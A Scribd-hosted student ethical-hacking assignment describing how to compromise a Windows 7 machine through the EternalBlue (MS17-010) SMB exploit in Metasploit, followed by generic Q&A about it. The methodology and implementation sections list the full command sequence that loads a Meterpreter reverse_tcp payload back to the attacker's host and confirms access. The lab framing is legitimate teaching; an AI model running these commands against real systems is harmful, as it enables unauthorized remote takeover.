0% found this document useful (0 votes)
184 views5 pages

Hacking Windows 7 with EternalBlue

The document details how to hack a Windows 7 PC using the EternalBlue exploit through Metasploit on Kali Linux. It provides background on EternalBlue and Windows 7, describes the methodology which involves using Metasploit to search for and run the EternalBlue exploit against a target Windows 7 system, and shows the implementation and results of gaining a reverse shell on the target.

Uploaded by

vilayilvaishnav
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
184 views5 pages

Hacking Windows 7 with EternalBlue

The document details how to hack a Windows 7 PC using the EternalBlue exploit through Metasploit on Kali Linux. It provides background on EternalBlue and Windows 7, describes the methodology which involves using Metasploit to search for and run the EternalBlue exploit against a target Windows 7 system, and shows the implementation and results of gaining a reverse shell on the target.

Uploaded by

vilayilvaishnav
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
  • Abstract
  • Introduction
  • Methodology
  • Background
  • Result
  • Implementation
  • Findings
  • References
  • Conclusion and Future Work

Ethical Hacking Assignment 1

Hack Windows 7 PC using EternalBlue

Abstract

Ethical hacking involves an authorized attempt to gain unauthorized access to a


computer system, application, or data. Here I am hacking a Windows 7 PC using
EternalBlue expolit. Carrying out an ethical hack involves duplicating strategies
and actions of malicious attackers. This practice helps to identify security
vulnerabilities which can then be resolved before a malicious attacker has the
opportunity to exploit them.

Introduction

Here we are hacking a windows 7 PC using EternalBlue exploit. So we need a


target machine with Windows 7 and a host machine with Kali Linux. The Kali
Linux should contain Metasploit. Metasploit is an open-source tool that was
designed by Rapid7 technologies. It is one of the world’s most used penetration
testing frameworks. It comes packed with a lot of exploits to exploit the
vulnerabilities over a network or operating systems.

An exploit is a program, or piece of code, designed to find and take advantage of a


security flaw or vulnerability in an application or computer system, typically for
malicious purposes such as installing malware. An exploit is not malware itself, but
rather it is a method used to deliver malware. EternalBlue is the exploit we use in
this operation.

EternalBlue is an exploit that allows cyber threat actors to remotely execute


arbitrary code and gain access to a network by sending specially crafted packets. It
exploits a software vulnerability in Microsoft’s Windows operating systems (OS)
Server Message Block (SMB) version 1 (SMBv1) protocol, a network file sharing
protocol that allows access to files on a remote server.
Background

Microsoft introduced Windows 7 in 2009, but ended mainstream support for the
system in [Link]'s because it was making way for Windows 10 – also launched
in 2015.

Windows 7 has only received crucial security updates for the past four years. These
updates officially ended on January 14, 2020.

But there are users still using Windows 7 operating system. Hundreds of millions
of people will be affected as more than a third of PCs use Windows 7, according to
NetMarketShare.

EternalBlue is an exploit most likely developed by the NSA as a former zero-day.


It was released in 2017 by the Shadow Brokers, a hacker group known for leaking
tools and exploits used by the Equation Group, which has possible ties to the
Tailored Access Operations unit of the NSA.

EternalBlue, also known as MS17-010, is a vulnerability in Microsoft's Server


Message Block (SMB) protocol. SMB allows systems to share access to files,
printers, and other resources on the network. The vulnerability is allowed to occur
because earlier versions of SMB contain a flaw that lets an attacker establish a null
session connection via anonymous login. An attacker can then send malformed
packets and ultimately execute arbitrary commands on the target.

Methodology

The first thing we need to do is open up the terminal and start Metasploit. Type
service postgresql start to initialize the PostgreSQL database, if it is not running
already, followed by msfconsole.

Next, use the search command within Metasploit to locate a suitable module to
use.

There is an auxiliary scanner that we can run to determine if a target is vulnerable


to MS17-010. It's always a good idea to perform the necessary recon like this.
Otherwise, you could end up wasting a lot of time if the target isn't even
vulnerable.
Once we have determined that our target is indeed vulnerable to EternalBlue, we
can use the following exploit module from the search we just did.

use exploit/windows/smb/ms17_010_eternalblue

You'll know you're good if you see the


"exploit(windows/smb/ms17_010_eternalblue)" prompt.

We can take a look at the current settings with the options command.

First, we need to specify the IP address of the target.

set rhosts <target ip address>

Next, we can load the trusty reverse_tcp shell as the payload.

set payload windows/x64/meterpreter/reverse_tcp

Finally, set the listening host to the IP address of our local machine.

set lhost <host ip address>

And the listening port to a suitable number.

set lport 4321

That should be everything, so the only thing left to do is launch the exploit. Use the
run command to fire it off.

run

We see a few things happen here, like the SMB connection being established and
the exploit packet being sent. At last, we see a "WIN" and a Meterpreter session is
opened. Sometimes, this exploit will not complete successfully the first time, so if
it doesn't just try again and it should go through.

We can verify we have compromised the target by running commands such as


sysinfo to obtain operating system information.
And getuid to get the current username.

Implementation

We uses terminal of Kali Linux to run commands to hack windows.

The commands are:

service postgresql start


msfconsole

search eternalblue

use exploit/windows/smb/ms17_010_eternalblue

options

set rhosts [Link]

set payload windows/x64/meterpreter/reverse_tcp

set lhost [Link]

set lport 4321

run

sysinfo

getuid

Result

Successfully hacked windows 7 PC. The shell is accessible in Kali Linux and could
rum multiple programs using EternalBlue exploit.

Findings

We can use these techniques to access a Windows 7 PC


Conclusion and future work

Reference

[Link]

[Link]

[Link]

Common questions

Powered by AI

Metasploit and EternalBlue simulate real-world threats by replicating the tactics, techniques, and procedures used by real attackers to exploit vulnerabilities. However, simulations might not capture the full complexity of a live environment, including unintended interactions with other network systems or the adaptive strategies of human attackers. Consequently, simulations are valuable for preparation but not definitive indicators of system resilience .

Before its public disclosure, EternalBlue represented an intelligence asset for its developers, potentially utilized discretely for national security objectives. Post-disclosure by the Shadow Brokers, the exploit became widely accessible, increasing the likelihood of misuse by bad actors and creating a pressing need for widespread security updates and awareness. This shift illustrates the delicate balance between secrecy for security purposes and public disclosure to mitigate mass exploitation risk .

The primary purpose of ethical hacking is to identify and resolve security vulnerabilities in computer systems before malicious attackers can exploit them. Metasploit is an open-source penetration testing framework that facilitates this process by allowing ethical hackers to simulate attacks using various exploit modules, including EternalBlue. EternalBlue specifically targets vulnerabilities in Microsoft's Server Message Block (SMB) protocol, enabling ethical hackers to test their systems against a known threat and reinforce defenses .

Researching and using exploits like EternalBlue ethically necessitates a nuanced understanding of legality, consent, and intent. Researchers must ensure explicit permission from system owners, adhere to legal regulations, and aim to mitigate rather than replicate malicious impacts. Ethical hacking should focus on improving security postures and support responsible reporting and patching of vulnerabilities, balancing beneficial discovery against potential misuse risks .

The methodology involves starting Metasploit and initializing the PostgreSQL database, searching for a suitable EternalBlue module, and using an auxiliary scanner to confirm vulnerability. Once confirmed, set the target's IP address and payload settings, then launch the exploit. It is crucial to confirm vulnerability beforehand to avoid unnecessary resource expenditure and to ensure the ethical aspect of testing by targeting only systems genuinely at risk, which aligns with best practices in penetration testing .

Organizations should prioritize regular security updates and patch management, deprecate unsupported systems, and implement robust network monitoring and intrusion detection systems. Encouraging a security-focused culture that includes ongoing training and engaging with external security audits can further safeguard against new exploits. Additionally, diversifying defense mechanisms and conducting regular vulnerability assessments are key preventive measures .

EternalBlue exploits a vulnerability in the SMB protocol's earlier versions, allowing an attacker to execute arbitrary code on a Windows system. The SMB protocol, being a network file sharing protocol, permits access to files on a remote server. The flaw within SMBv1 enables the establishment of a null session connection via anonymous login, after which malicious packets are sent to execute commands on the target system .

EternalBlue is believed to have been developed by the NSA as a zero-day exploit, and was later leaked by the hacker group Shadow Brokers. Its existence highlights the potential risks associated with stockpiling undisclosed vulnerabilities. For ethical hackers, EternalBlue's history underscores the importance of simulating real-world threats to understand the impact of such vulnerabilities and prepare defenses, promoting responsible disclosure and patching practices to prevent widespread damage .

Continued use of Windows 7 poses a significant security risk because Microsoft ended mainstream support in 2015 and ceased all security updates in January 2020. This means vulnerabilities like those targeted by EternalBlue remain unpatched, leaving systems exposed to exploitation. Given that a substantial percentage of PCs still run Windows 7, these unaddressed vulnerabilities represent a broad attack surface .

Precautions include isolating the testing environment from other systems, ensuring that only authorized personnel can access the testing setup, and confirming all potential impacts on network devices and services are understood. The tester should also maintain compliance with legal and organizational guidelines, and thoroughly document each step to ensure accountability and reproducibility of results .

You might also like